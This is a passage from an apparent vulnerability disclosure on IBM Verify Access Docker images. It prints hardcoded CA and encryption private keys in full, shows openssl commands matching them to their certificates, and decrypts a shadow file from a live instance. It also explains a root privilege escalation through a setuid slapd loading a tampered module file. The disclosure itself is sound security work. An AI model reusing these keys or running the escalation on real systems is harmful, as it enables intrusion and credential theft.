+Q4d4OsXAomQz3TeEWT9tyr7gCgDJ8W3WvpEUE6mpvm0OPujFivAM9Ws6bY7zcZr
qjU4Nct//gq9qlZuKMWan68vE+yMqJAkCCLh6YG8EA+TU/TQP4cCeCIiUBBC6A1R
CMbCA9t7AgWTlJPxuPTdgTETLRXDlMJWhWxuTGWtkXrrSXaWIwBTk4XVfeK2xkYs
RPNFmBZ1AgMBAAECggEAIt1sA/lEe7KYMe6IT/KY6T7oTK0v0kZowJj67OJFpGjm
MUZ7o5diekubenAOiRh7J7kSo74ebkqD7CVIASmWTZryN79Vs0+bJk2/zOnln2Pu
894Z0RvqkJQkQz1MJSdE2mMa0Q5XWN7Uj9vB65v8lbbEZZSaQ6TBd3CXg+/zlaPy
MvRgK5XvrzCKWD9PtWpIb4nRssJhVDAgfPQf5tlQ05QhKagakxENVB6wmcvOiU2l
zYZDTUGFVfgd1OxH7JICaTfBlhncd2OYaHxr+sXrPGuI+Ckz/U5q6UU+/b5EYEPr
7BSlmptg6CCFLlJ/Mz3qzcm2Wd9/KWEEbwr7fRLcAQKBgQDIoEC54Fsdj07SHwaM
iWC72WysdBedH5DUM39cRiorYz/E5rFIKWz8c4Fz4sx0IkTqM2JvS1frtvPgMTTV
PvowBcLrLIIBj3ZktheAijCtB7g0FR8EBJpJvY3nPYYA08akeJ2wIrV/AdXiMGR+
dJXnJRmoVI6tdk/Y9xRfUuahqQKBgQDsp+v5PkMWYyRsja6cjN4K9bExRbPCMyXo
o3VisQXQYnVdKJE86g+PMiwY4KJksZ3ZPYduB4Hn+9qcKWRXkg/VbInE9+TxwBOT
E4cf1bUibtNZEF4JeV7/FE+K76RgxROufXpRlrTqlmzblIBIeA14sGCC/3unb6tV
mfCGe18l7QKBgQCs0g6vj2otrnMRYZR8nyJq7sJEU8S7nqNdh/bf/7j3owkdjjOM
m9K8LKuIrge8yoBe1mCmylo0PGcb6oc+Yn+VuoDLoI1k1rX/zzOzkFaZ1pqAkuki
xuw5NUX1ufOi5sqohxYe0edSPryFmXYX0EoI0NanQB+foNjrZvtvmbP98QKBgAHG
0PKyEPbeD6vw9FqghBo49feUumC+2Y4BjCQNiCmkU5U7dLusVimRCtu09AMlgjXb
TGT7EXKYZW++r84ofo3vnqkn40QdWQhFoUIP7KgxhMyqXspbaucnU+GLIwTG9frd
Xkm2g+0u6+pKFxx0KkW5rT/OgzMil3qxCSk5S+GRAoGAVzyS/rD6YInD7/vWUqwm
ttgKBm1d/uL2fMzx0KCnuKd5gJwfLIx9wDR4862VyWxOof8quqAWAthSGgg99Bjj
dujkG+fMEu+pYaxTmte0HSC4I+QTkQrOup4wtwVFz2t+0yPlmneQXmJ+K5Wu9ClR
uxhPVbNJYbPOs02by37UXn8=
-----END PRIVATE KEY-----
Bag Attributes
friendlyName: encKey
localKeyID: 03 82 01 01 00 BB 0F 22 30 06 39 08 3E 65 E7 67 A2 F7 A0 1A 96 6F A6 75 57 3E AF B0 64 7D 83 07 47 6C A3 CE 91 7D 11 94 B5 E9 F7 79 74 F0 22 AB 50 C7 49 66 5E 64 0C 63 07 B7 43 F2 35 52 E4 2C CC C0 1F B4 ED 2F 18 CB D3 A0 3C 3F 6D 07 88 AD B6 FE 52 2B EA 10 0C 9C 0A F4 04 21 20 95 E9 A7 39 E9 6F F1 83 11 5E B7 C5 D5 41 F8 D0 4B BC A2 D5 C6 1B E0 77 F4 91 F2 1B 23 25 17 42 29 19 3E CE 4E 39 12 E5 29 30 69 6A FE 47 BA E6 D8 D5 5E 3C 23 C6 B5 40 49 E5 64 7E 69 CC 43 E0 15 AE F5 DC D9 8C 27 6F 2E 09 25 85 C3 F8 95 44 12 42 6F C5 D1 E0 41 B2 F0 00 90 2C EA 36 05 1D DF F3 A3 B6 4F 42 E6 6D F2 33 BD 9F AE 3F 18 4E 79 08 35 BC 28 15 AC 23 0E B5 28 23 C2 08 3D 6A 39 5D 37 FA 60 13 EF 19 C3 7A 9C DB F0 19 0C AC 0D D0 51 B1 1B AE 22 A4 B7 92 3B FF 61 A3 0F 1C 6E 52 97 FE 2D 65 CB 13
Key Attributes: <No Attributes>
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDsJ4YkXiuJVyuD
N2Ibykd86ieUfIqlRJ4t0Z40CXkfcUoSYfGfEUl0vGa/hRV6dBgr0cvsP1Uuh8lM
x1k7AF2LZB/3Hf42MiN4b1BShCkU//UDjw3IJDblpDxAs6+wNHLjZ3Tmu4j8WPH6
szaEMmLKdAOVX3j4pElcoTwsozR+F+1XBcp9G+nhIymvTaskWy8Qi2EHl+M2qbrw
G9Iissr1wX3KnI5hxvHAtEflwFu1qIcQFdEo/nG6+45TzhuIUTep1jcqDKTFsuzM
DrlEPELGqHVhkYrUaCYUtiEOjZXcE6Hufy10nEjo3nARyKlIom3A9Gi8qscq9Xh3
R5JZZbEtAgMBAAECggEABB9RCrysBAAZuFSREk47s+NE5JGSN3klHESHzinuZphv
9piID0BX0/Ar6uo4aO+GXrj9fqHZi2ikR/12yW0NpjYhcMsr1geMTNkJXPex+wwJ
eQWaoEXeBk3bbGbfMzqrxUh/QgyJqpu48wZ7ROSIqF5DMYVPElkkSAHWmdvgUnQi
T5m+F+eq5dGYx82V/COXKzOKUd714o7uL6bPqnFbZlQLGbDnUruFLLNsktrVhMCH
f2n7vj2irRyehFB9iJWoQYzZRYnt7ZZwaiC5tM1FH08Ba9KWhKioV0euO8t2ojkt
VW3EKTx5qrxnKvchlgDzb9neb/p9PtFUy/AuB/3n6QKBgQDzv99rQUVVLsaTFK8A
UWzXfEB+su0vxK5Q8hpgF9EdOGLZQtTpl8/xIj5Np7OqVclQA7usx6t9mcJwjkdH
blUubDs8MOcvbxfjOos3LdZ4egOfiac7N4nMkjh1XUvUt0bvkNO+GtgDgsS16EiE
X9fsafsbkQYqsNd1qag4u5M9xQKBgQD4Be5dLZ0A62qQlaQA5Vl8bp8woL843qKC
PYGIEf5/sQX3oYRhM2En6RI4nMt6htPn7WB0T7vCCi+XEACnruAUJFEyZARpeGHG
5jx3p4p3l/QUxCgdzXceEJTjabesOOZSuPazjaj1RWoAU7fRTwnG+0msq15zlkqG
UjVnqsoESQKBgBheXl/CrsPNYVzi/HvzqAYDDg+co8nax/KfwbNJrkZVlMxTuiWA
X/GjkscAtR2aZf3x4ZlsfOCZtq66CrZBeZKij2l9Gh/L4398It7pXj+9Mw+IG4f4
DXa+R5a0NRiXGihpOkIPPPlc4X2uM1HIozWngstGvG8YLvI8e+zwE9BhAoGAf649
+YXjz3dh0rDWTwfCu4YPOW9nQZWLP1T+e9gXlhDBq6tghNF4cJ1RngdJ0Pfb2wee
ogHx/IBV44R/cdNa08OmcTR/+PPaEhSwiECdzddR9ebNaBo/+iA7JZ9kyKo6F9fU
WLbShgGIAkcW2A/CTsdKNDO8WfDCyMdFaurHONECgYA0e/5TN/+AGLktUd7VIlOC
5FCHkAGl4iHJn/3v5r8yfh55Otf+K9vIUrEGW9XEouIofLMapbKqxiTD7YCbrbsy
NyoRMUtmBWnh7yrWkl/gvLIRsAw1R248Q1uxLb0JytRyf/8vW0YOK1grDxnijULH
arClGP/McDNH4FD3S9dgJQ==
-----END PRIVATE KEY-----
And the corresponding certificates:
Bag Attributes
friendlyName: ca
localKeyID: 03 82 01 01 00 6F 9B 85 F2 CA 2A DC A3 2E BA F7 D9 36 40 D4 D4 4D 31 A4 AC 23 2E 6E F0 9F 04 90 D7 F5 EC D1 31 7C 39 DB 80 20 7D A2 6C F5 30 F1 B6 C0 8C 1D 9F 32 87 A0 84 FE 22 AC 8F 0E D8 36 03 6D 69 29 E2 57 0C B3 9B 05 C4 E0 1E 81 51 EB 33 49 C3 D3 E1 F2 4E C0 CA 0C 5A A8 F9 5D 54 1F CF BE C0 9A 70 C4 6F 94 65 70 14 9F 1B 74 29 6E EB 00 1F 55 9B FE A1 00 CC FB DC CD 20 35 64 DF D6 A5 A7 F4 FB 76 DB D5 AA 6D 67 08 B1 F8 0B 71 37 AF A2 90 C3 AA 57 38 5B 48 E7 AE 35 6C 0C 8A E3 99 7D 90 94 B0 F8 1E 13 17 F9 A9 2F 5F 87 35 8B F5 6D AC 64 89 28 B0 96 0B 6C FB B4 8E D9 F0 26 AD 61 35 F4 CB A4 59 F8 F6 A0 72 EB 82 CD CF 2D 85 63 CF C3 27 64 9F 52 07 05 D7 19 81 5A 57 4A 92 F5 3F 30 2D 87 BD FB 96 92 2B A0 93 E6 B8 E8 E5 90 27 70 A8 78 6F 1C 98 11 6E F9 70 60 0F 2C D8 4C 44 BF
subject=C = us, O = ibm, OU = isam, CN = ca
issuer=C = us, O = ibm, OU = isam, CN = ca
-----BEGIN CERTIFICATE-----
MIIDNDCCAhygAwIBAgIINKDsXZO6zrowDQYJKoZIhvcNAQELBQAwNzELMAkGA1UE
BhMCdXMxDDAKBgNVBAoTA2libTENMAsGA1UECxMEaXNhbTELMAkGA1UEAxMCY2Ew
IBcNMTkwMzIxMDQ1NzAzWhgPMjEwMTA1MTEwNDU3MDNaMDcxCzAJBgNVBAYTAnVz
MQwwCgYDVQQKEwNpYm0xDTALBgNVBAsTBGlzYW0xCzAJBgNVBAMTAmNhMIIBIjAN
BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuXdVJAQqU5iu+NNUakipeNkiJwNA
fM4Gy4GRvhz6J4iIMM27uJUSUhRmho57iR9XHFj78bg7b+Udul+BIZy/UXsCYhw0
6tUUZz/16kI2t7h8LCguMlJcr4QXF/hXKEys6uMu9uGWbNhiDPkOHeDrFwKJkM90
3hFk/bcq+4AoAyfFt1r6RFBOpqb5tDj7oxYrwDPVrOm2O83Ga6o1ODXLf/4KvapW
bijFmp+vLxPsjKiQJAgi4emBvBAPk1P00D+HAngiIlAQQugNUQjGwgPbewIFk5ST
8bj03YExEy0Vw5TCVoVsbkxlrZF660l2liMAU5OF1X3itsZGLETzRZgWdQIDAQAB
o0IwQDAfBgNVHSMEGDAWgBRXaoj3HRsUC6I+wha3FcN9ng+jDDAdBgNVHQ4EFgQU
V2qI9x0bFAuiPsIWtxXDfZ4PowwwDQYJKoZIhvcNAQELBQADggEBAG+bhfLKKtyj
Lrr32TZA1NRNMaSsIy5u8J8EkNf17NExfDnbgCB9omz1MPG2wIwdnzKHoIT+IqyP
Dtg2A21pKeJXDLObBcTgHoFR6zNJw9Ph8k7AygxaqPldVB/PvsCacMRvlGVwFJ8b
dClu6wAfVZv+oQDM+9zNIDVk39alp/T7dtvVqm1nCLH4C3E3r6KQw6pXOFtI5641
bAyK45l9kJSw+B4TF/mpL1+HNYv1baxkiSiwlgts+7SO2fAmrWE19MukWfj2oHLr
gs3PLYVjz8MnZJ9SBwXXGYFaV0qS9T8wLYe9+5aSK6CT5rjo5ZAncKh4bxyYEW75
cGAPLNhMRL8=
-----END CERTIFICATE-----
Bag Attributes
friendlyName: encKey
localKeyID: 03 82 01 01 00 BB 0F 22 30 06 39 08 3E 65 E7 67 A2 F7 A0 1A 96 6F A6 75 57 3E AF B0 64 7D 83 07 47 6C A3 CE 91 7D 11 94 B5 E9 F7 79 74 F0 22 AB 50 C7 49 66 5E 64 0C 63 07 B7 43 F2 35 52 E4 2C CC C0 1F B4 ED 2F 18 CB D3 A0 3C 3F 6D 07 88 AD B6 FE 52 2B EA 10 0C 9C 0A F4 04 21 20 95 E9 A7 39 E9 6F F1 83 11 5E B7 C5 D5 41 F8 D0 4B BC A2 D5 C6 1B E0 77 F4 91 F2 1B 23 25 17 42 29 19 3E CE 4E 39 12 E5 29 30 69 6A FE 47 BA E6 D8 D5 5E 3C 23 C6 B5 40 49 E5 64 7E 69 CC 43 E0 15 AE F5 DC D9 8C 27 6F 2E 09 25 85 C3 F8 95 44 12 42 6F C5 D1 E0 41 B2 F0 00 90 2C EA 36 05 1D DF F3 A3 B6 4F 42 E6 6D F2 33 BD 9F AE 3F 18 4E 79 08 35 BC 28 15 AC 23 0E B5 28 23 C2 08 3D 6A 39 5D 37 FA 60 13 EF 19 C3 7A 9C DB F0 19 0C AC 0D D0 51 B1 1B AE 22 A4 B7 92 3B FF 61 A3 0F 1C 6E 52 97 FE 2D 65 CB 13
subject=C = US, O = IBM, OU = GSKIT, CN = encKey
issuer=C = US, O = IBM, OU = GSKIT, CN = encKey
-----BEGIN CERTIFICATE-----
MIIEJjCCAw6gAwIBAgIIEuizp4Aw/w8wDQYJKoZIhvcNAQEFBQAwPDELMAkGA1UE
BhMCVVMxDDAKBgNVBAoTA0lCTTEOMAwGA1UECxMFR1NLSVQxDzANBgNVBAMTBmVu
Y0tleTAeFw0xOTAzMjEwNDU2NTlaFw0yOTAzMTkwNDU2NTlaMDwxCzAJBgNVBAYT
AlVTMQwwCgYDVQQKEwNJQk0xDjAMBgNVBAsTBUdTS0lUMQ8wDQYDVQQDEwZlbmNL
ZXkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDsJ4YkXiuJVyuDN2Ib
ykd86ieUfIqlRJ4t0Z40CXkfcUoSYfGfEUl0vGa/hRV6dBgr0cvsP1Uuh8lMx1k7
AF2LZB/3Hf42MiN4b1BShCkU//UDjw3IJDblpDxAs6+wNHLjZ3Tmu4j8WPH6szaE
MmLKdAOVX3j4pElcoTwsozR+F+1XBcp9G+nhIymvTaskWy8Qi2EHl+M2qbrwG9Ii
ssr1wX3KnI5hxvHAtEflwFu1qIcQFdEo/nG6+45TzhuIUTep1jcqDKTFsuzMDrlE
PELGqHVhkYrUaCYUtiEOjZXcE6Hufy10nEjo3nARyKlIom3A9Gi8qscq9Xh3R5JZ
ZbEtAgMBAAGjggEqMIIBJjCCASIGHCsGAQSD3OuTf4Pc65N/g9zrk3+r7CeDsWQC
pwkEggEARE7WVCtMEiBaqLgkERWOycU2QormaqloW2kdYi0iZT7NV/3tw0DNbcGK
pWdWfqtM4BM2x7Zq1ilGkK3NtGDnvRTBvrCFt0j/fU80/B9yBoELS0OWqKDkLiZi
enYORA427Y4JNYiRWngQCBPboqqp1oOB03dxujVH85W/3AniYol4fZBiUdYMfhWi
0sKxy5El/XDpYsA8w6ZQ0jz3/uQkNzY96A6QdO/4wB9P4YpKrl3XTKYGMtwoSW4b
QbXu2DOWvPZHxkXLizkeEk9/j+DC27nA7/ZIBNRV4pqOg2lo+7Po9XwwNyE2+1o2
4/2lwxPxDvGFYP05F78XHPEal8LgPTANBgkqhkiG9w0BAQUFAAOCAQEAuw8iMAY5
CD5l52ei96Aalm+mdVc+r7BkfYMHR2yjzpF9EZS16fd5dPAiq1DHSWZeZAxjB7dD
8jVS5CzMwB+07S8Yy9OgPD9tB4ittv5SK+oQDJwK9AQhIJXppznpb/GDEV63xdVB
+NBLvKLVxhvgd/SR8hsjJRdCKRk+zk45EuUpMGlq/ke65tjVXjwjxrVASeVkfmnM
Q+AVrvXc2Ywnby4JJYXD+JVEEkJvxdHgQbLwAJAs6jYFHd/zo7ZPQuZt8jO9n64/
GE55CDW8KBWsIw61KCPCCD1qOV03+mAT7xnDepzb8BkMrA3QUbEbriKkt5I7/2Gj
DxxuUpf+LWXLEw==
-----END CERTIFICATE-----
After the analysis of the certificates and the private keys, we were able to extract a CA private key and a private encryption/decryption key:
kali-docker# openssl x509 -in ca.pem -text -noout -modulus
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 3792290772900564666 (0x34a0ec5d93baceba)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=us, O=ibm, OU=isam, CN=ca
Validity
Not Before: Mar 21 04:57:03 2019 GMT
Not After : May 11 04:57:03 2101 GMT
Subject: C=us, O=ibm, OU=isam, CN=ca
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:b9:77:55:24:04:2a:53:98:ae:f8:d3:54:6a:48:
a9:78:d9:22:27:03:40:7c:ce:06:cb:81:91:be:1c:
fa:27:88:88:30:cd:bb:b8:95:12:52:14:66:86:8e:
7b:89:1f:57:1c:58:fb:f1:b8:3b:6f:e5:1d:ba:5f:
81:21:9c:bf:51:7b:02:62:1c:34:ea:d5:14:67:3f:
f5:ea:42:36:b7:b8:7c:2c:28:2e:32:52:5c:af:84:
17:17:f8:57:28:4c:ac:ea:e3:2e:f6:e1:96:6c:d8:
62:0c:f9:0e:1d:e0:eb:17:02:89:90:cf:74:de:11:
64:fd:b7:2a:fb:80:28:03:27:c5:b7:5a:fa:44:50:
4e:a6:a6:f9:b4:38:fb:a3:16:2b:c0:33:d5:ac:e9:
b6:3b:cd:c6:6b:aa:35:38:35:cb:7f:fe:0a:bd:aa:
56:6e:28:c5:9a:9f:af:2f:13:ec:8c:a8:90:24:08:
22:e1:e9:81:bc:10:0f:93:53:f4:d0:3f:87:02:78:
22:22:50:10:42:e8:0d:51:08:c6:c2:03:db:7b:02:
05:93:94:93:f1:b8:f4:dd:81:31:13:2d:15:c3:94:
c2:56:85:6c:6e:4c:65:ad:91:7a:eb:49:76:96:23:
00:53:93:85:d5:7d:e2:b6:c6:46:2c:44:f3:45:98:
16:75
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Authority Key Identifier:
57:6A:88:F7:1D:1B:14:0B:A2:3E:C2:16:B7:15:C3:7D:9E:0F:A3:0C
X509v3 Subject Key Identifier:
57:6A:88:F7:1D:1B:14:0B:A2:3E:C2:16:B7:15:C3:7D:9E:0F:A3:0C
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
6f:9b:85:f2:ca:2a:dc:a3:2e:ba:f7:d9:36:40:d4:d4:4d:31:
a4:ac:23:2e:6e:f0:9f:04:90:d7:f5:ec:d1:31:7c:39:db:80:
20:7d:a2:6c:f5:30:f1:b6:c0:8c:1d:9f:32:87:a0:84:fe:22:
ac:8f:0e:d8:36:03:6d:69:29:e2:57:0c:b3:9b:05:c4:e0:1e:
81:51:eb:33:49:c3:d3:e1:f2:4e:c0:ca:0c:5a:a8:f9:5d:54:
1f:cf:be:c0:9a:70:c4:6f:94:65:70:14:9f:1b:74:29:6e:eb:
00:1f:55:9b:fe:a1:00:cc:fb:dc:cd:20:35:64:df:d6:a5:a7:
f4:fb:76:db:d5:aa:6d:67:08:b1:f8:0b:71:37:af:a2:90:c3:
aa:57:38:5b:48:e7:ae:35:6c:0c:8a:e3:99:7d:90:94:b0:f8:
1e:13:17:f9:a9:2f:5f:87:35:8b:f5:6d:ac:64:89:28:b0:96:
0b:6c:fb:b4:8e:d9:f0:26:ad:61:35:f4:cb:a4:59:f8:f6:a0:
72:eb:82:cd:cf:2d:85:63:cf:c3:27:64:9f:52:07:05:d7:19:
81:5a:57:4a:92:f5:3f:30:2d:87:bd:fb:96:92:2b:a0:93:e6:
b8:e8:e5:90:27:70:a8:78:6f:1c:98:11:6e:f9:70:60:0f:2c:
d8:4c:44:bf
Modulus=B9775524042A5398AEF8D3546A48A978D9222703407CCE06CB8191BE1CFA27888830CDBBB89512521466868E7B891F571C58FBF1B83B6FE51DBA5F81219CBF517B02621C34EAD514673FF5EA4236B7B87C2C282E32525CAF841717F857284CACEAE32EF6E1966CD8620CF90E1DE0EB17028990CF74DE1164FDB72AFB80280327C5B75AFA44504EA6A6F9B438FBA3162BC033D5ACE9B63BCDC66BAA353835CB7FFE0ABDAA566E28C59A9FAF2F13EC8CA890240822E1E981BC100F9353F4D03F8702782222501042E80D5108C6C203DB7B0205939493F1B8F4DD8131132D15C394C256856C6E4C65AD917AEB4976962300539385D57DE2B6C6462C44F345981675
kali-docker# openssl rsa -in ca.key -modulus -noout
Modulus=B9775524042A5398AEF8D3546A48A978D9222703407CCE06CB8191BE1CFA27888830CDBBB89512521466868E7B891F571C58FBF1B83B6FE51DBA5F81219CBF517B02621C34EAD514673FF5EA4236B7B87C2C282E32525CAF841717F857284CACEAE32EF6E1966CD8620CF90E1DE0EB17028990CF74DE1164FDB72AFB80280327C5B75AFA44504EA6A6F9B438FBA3162BC033D5ACE9B63BCDC66BAA353835CB7FFE0ABDAA566E28C59A9FAF2F13EC8CA890240822E1E981BC100F9353F4D03F8702782222501042E80D5108C6C203DB7B0205939493F1B8F4DD8131132D15C394C256856C6E4C65AD917AEB4976962300539385D57DE2B6C6462C44F345981675
kali-docker# openssl x509 -in encKey.pem -text -noout -modulus
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1362536419271180047 (0x12e8b3a78030ff0f)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=IBM, OU=GSKIT, CN=encKey
Validity
Not Before: Mar 21 04:56:59 2019 GMT
Not After : Mar 19 04:56:59 2029 GMT
Subject: C=US, O=IBM, OU=GSKIT, CN=encKey
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:ec:27:86:24:5e:2b:89:57:2b:83:37:62:1b:ca:
47:7c:ea:27:94:7c:8a:a5:44:9e:2d:d1:9e:34:09:
79:1f:71:4a:12:61:f1:9f:11:49:74:bc:66:bf:85:
15:7a:74:18:2b:d1:cb:ec:3f:55:2e:87:c9:4c:c7:
59:3b:00:5d:8b:64:1f:f7:1d:fe:36:32:23:78:6f:
50:52:84:29:14:ff:f5:03:8f:0d:c8:24:36:e5:a4:
3c:40:b3:af:b0:34:72:e3:67:74:e6:bb:88:fc:58:
f1:fa:b3:36:84:32:62:ca:74:03:95:5f:78:f8:a4:
49:5c:a1:3c:2c:a3:34:7e:17:ed:57:05:ca:7d:1b:
e9:e1:23:29:af:4d:ab:24:5b:2f:10:8b:61:07:97:
e3:36:a9:ba:f0:1b:d2:22:b2:ca:f5:c1:7d:ca:9c:
8e:61:c6:f1:c0:b4:47:e5:c0:5b:b5:a8:87:10:15:
d1:28:fe:71:ba:fb:8e:53:ce:1b:88:51:37:a9:d6:
37:2a:0c:a4:c5:b2:ec:cc:0e:b9:44:3c:42:c6:a8:
75:61:91:8a:d4:68:26:14:b6:21:0e:8d:95:dc:13:
a1:ee:7f:2d:74:9c:48:e8:de:70:11:c8:a9:48:a2:
6d:c0:f4:68:bc:aa:c7:2a:f5:78:77:47:92:59:65:
b1:2d
Exponent: 65537 (0x10001)
X509v3 extensions:
1.3.6.1.4.999999999.999999999.999999999.718375.55524.2.5001:
DN.T+L. Z..$.....6B..j.h[i.b-"e>.W...@.m...gV~.L..6..j.)F....`........H.}O4..r...KC.....&bzv.D.6...5..Zx...........wq.5G......b.x}.bQ..~.......%.p.b.<..P.<...$76=...t....O..J.].L..2.(In.A...3...G.E..9..O.........H..U....ih....|07!6.Z6.........`.9.........=
Signature Algorithm: sha1WithRSAEncryption
Signature Value:
bb:0f:22:30:06:39:08:3e:65:e7:67:a2:f7:a0:1a:96:6f:a6:
75:57:3e:af:b0:64:7d:83:07:47:6c:a3:ce:91:7d:11:94:b5:
e9:f7:79:74:f0:22:ab:50:c7:49:66:5e:64:0c:63:07:b7:43:
f2:35:52:e4:2c:cc:c0:1f:b4:ed:2f:18:cb:d3:a0:3c:3f:6d:
07:88:ad:b6:fe:52:2b:ea:10:0c:9c:0a:f4:04:21:20:95:e9:
a7:39:e9:6f:f1:83:11:5e:b7:c5:d5:41:f8:d0:4b:bc:a2:d5:
c6:1b:e0:77:f4:91:f2:1b:23:25:17:42:29:19:3e:ce:4e:39:
12:e5:29:30:69:6a:fe:47:ba:e6:d8:d5:5e:3c:23:c6:b5:40:
49:e5:64:7e:69:cc:43:e0:15:ae:f5:dc:d9:8c:27:6f:2e:09:
25:85:c3:f8:95:44:12:42:6f:c5:d1:e0:41:b2:f0:00:90:2c:
ea:36:05:1d:df:f3:a3:b6:4f:42:e6:6d:f2:33:bd:9f:ae:3f:
18:4e:79:08:35:bc:28:15:ac:23:0e:b5:28:23:c2:08:3d:6a:
39:5d:37:fa:60:13:ef:19:c3:7a:9c:db:f0:19:0c:ac:0d:d0:
51:b1:1b:ae:22:a4:b7:92:3b:ff:61:a3:0f:1c:6e:52:97:fe:
2d:65:cb:13
Modulus=EC2786245E2B89572B8337621BCA477CEA27947C8AA5449E2DD19E3409791F714A1261F19F114974BC66BF85157A74182BD1CBEC3F552E87C94CC7593B005D8B641FF71DFE363223786F5052842914FFF5038F0DC82436E5A43C40B3AFB03472E36774E6BB88FC58F1FAB336843262CA7403955F78F8A4495CA13C2CA3347E17ED5705CA7D1BE9E12329AF4DAB245B2F108B610797E336A9BAF01BD222B2CAF5C17DCA9C8E61C6F1C0B447E5C05BB5A8871015D128FE71BAFB8E53CE1B885137A9D6372A0CA4C5B2ECCC0EB9443C42C6A87561918AD4682614B6210E8D95DC13A1EE7F2D749C48E8DE7011C8A948A26DC0F468BCAAC72AF5787747925965B12D
kali-docker# openssl rsa -in encKey.key -modulus -noout
Modulus=EC2786245E2B89572B8337621BCA477CEA27947C8AA5449E2DD19E3409791F714A1261F19F114974BC66BF85157A74182BD1CBEC3F552E87C94CC7593B005D8B641FF71DFE363223786F5052842914FFF5038F0DC82436E5A43C40B3AFB03472E36774E6BB88FC58F1FAB336843262CA7403955F78F8A4495CA13C2CA3347E17ED5705CA7D1BE9E12329AF4DAB245B2F108B610797E336A9BAF01BD222B2CAF5C17DCA9C8E61C6F1C0B447E5C05BB5A8871015D128FE71BAFB8E53CE1B885137A9D6372A0CA4C5B2ECCC0EB9443C42C6A87561918AD4682614B6210E8D95DC13A1EE7F2D749C48E8DE7011C8A948A26DC0F468BCAAC72AF5787747925965B12D
kali-docker#
It is also possible to decrypt the shadow.enc
file of a live instance using the hardcoded device_key.kdb
:
kali-docker# file shadow.enc
shadow.enc: data
kali-docker# LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/lib64:/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64 /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/sbin/isva_decrypt shadow.enc
kali-docker# cat shadow.enc
root:!!$6$[REDACTED]:19255:0:99999:7:::
bin:*:18367:0:99999:7:::
daemon:*:18367:0:99999:7:::
adm:*:18367:0:99999:7:::
lp:*:18367:0:99999:7:::
sync:*:18367:0:99999:7:::
shutdown:*:18367:0:99999:7:::
halt:*:18367:0:99999:7:::
mail:*:18367:0:99999:7:::
operator:*:18367:0:99999:7:::
games:*:18367:0:99999:7:::
ftp:*:18367:0:99999:7:::
nobody:*:18367:0:99999:7:::
dbus:!!:19115::::::
systemd-coredump:!!:19115::::::
systemd-resolve:!!:19115::::::
tss:!!:19115::::::
postgres:!!:19151::::::
ldap:!!:19151::::::
admin:$6$[REDACTED]:19255:0:99999:7:::
www-data:*:14251:0:99999:7:::
ivmgr:!!:19151:0:99999:7:::
cluster::19151:0:99999:7:::
pgresql:!!:19151:0:99999:7:::
nfast:!!:19151:0:99999:7:::
tivoli:!!:19151:0:99999:7:::
isam:!!:19151:1:90:7:::
An attacker can easily decrypt the encrypted files inside the snapshot files. These snapshots contain an openldap.zip
file containing the OpenLDAP configuration, keytabs, passwords, SSL certificates and private keys.
The encryption mechanism, based on hardcoded keys, is ineffective and provides a false assumption of security.
It was observed that the official IBM Docker image ibmcom/verify-access contains a Local Privilege Escalation vulnerability.
The binary slapd
, used to run OpenLDAP has incorrect permissions, allowing any user to run slapd
as root. An attacker can run slapd
as root and specify a malicious configuration file that will run code as root.
Using a static analysis, the file system has been extracted and the usr/sbin/slapd
program is root:$group
and 4755
:
kali-docker# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ibmcom/verify-access-runtime 10.0.4.0 498e181d7395 3 months ago 1.07GB
ibmcom/verify-access-wrp 10.0.4.0 c0003aca743c 3 months ago 442MB
ibmcom/verify-access 10.0.4.0 206efdd7809c 3 months ago 1.53GB
ibmcom/verify-access-dsc 10.0.4.0 959f6f1095e9 3 months ago 305MB
kali-docker# ls -la _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/sbin/slapd
-rwsr-sr-x 1 root user 1916768 Jun 8 01:30 _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/usr/sbin/slapd
While checking on a live system, we can confirm the permissions 4755
(suid bit) are used in the verify-access instance. The owner is root:ivmgr
:
[isam@verify-access log]$ ls -la /usr/sbin/slapd
-rwsr-sr-x 1 root ivmgr 1916768 Jun 8 13:30 /usr/sbin/slapd
[isam@verify-access log]$
By default, slapd
allows to load external modules (to execute code). These .la files contain information about shared libraries that will be loaded within slapd.
Content of /etc/openldap/slapd.conf
:
# Load dynamic backend modules:
# modulepath /usr/lib/openldap
# moduleload back_bdb.la
# moduleload back_ldap.la
# moduleload back_ldbm.la
# moduleload back_passwd.la
# moduleload back_shell.la
moduleload syncprov.la
It is possible to load malicious modules as root using a specific configuration .la file. This will allow a local attacker to get a Local Privilege Escalation as root. For example, we can find a default file that we can change into a malicious file by updating the libdir option to another directory:
kali-docker# cat _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/usr/lib64/openldap/syncprov.la
# syncprov.la - a libtool library file
# Generated by libtool (GNU libtool) 2.4.6
#
# Please DO NOT delete this file!
# It is necessary for linking the library.
# The name that we can dlopen(3).
dlname='syncprov-2.4.so.2'
# Names of this library.
library_names='syncprov-2.4.so.2.11.4 syncprov-2.4.so.2 syncprov.so'
[...]
# Files to dlopen/dlpreopen
dlopen=''
dlpreopen=''
# Directory that this library needs to be installed in:
libdir='/usr/lib64/openldap'
